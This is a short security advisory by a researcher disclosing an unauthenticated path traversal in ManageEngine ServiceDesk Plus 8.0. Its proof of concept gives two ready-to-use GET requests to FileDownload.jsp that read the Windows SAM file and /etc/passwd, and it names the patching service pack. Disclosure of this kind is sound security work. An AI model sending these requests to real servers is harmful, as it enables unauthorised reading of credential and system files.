Software Link:  http://www.manageengine.com/products/service-desk/91677414/ManageEngine_ServiceDesk_Plus.exe
Version:  8.0

[+] Introduction

Directory traversal vulnerabilities has been found in ManageEngine
ServiceDesk Plus 8.0 a web
based helpdesk system written in Java.

The vulnerability can be exploited to access local files by entering
special characters in variables used to create file paths. The attackers
use “../” sequences to move up to root directory, thus permitting
navigation through the file system.

[+] Proof Of Concept

A user doesnt need to login into the system to exploit this path
traversal vulnerability as FileDownload.jsp doesnt checek for a valid
login session.

Request:
GET http://[webserver
IP]:8080/workorder/FileDownload.jsp?module=agent&&FILENAME=%20..\..\..\..\..\..\..\..\..\windows\repair\SAM
GET http://[webserver
IP]:8080/workorder/FileDownload.jsp?module=agent&&FILENAME=%20..\..\..\..\..\..\..\..\..\etc\passwd

The issue is fixed with Service Pack Build 8012 found in the below link.
http://www.manageengine.com/products/service-desk/91677414/ManageEngine_ServiceDesk_Plus_8_0_0_SP-0_12_0.ppm

[+] Credits
These vulnerability has been discovered by Keith Lee
(keith.lee2012@gmail.com), @keith55, http://milo2012.wordpress.com



-- 
Keith

Blog: http://www.milo2012.wordpress.com
Twitter: @keith55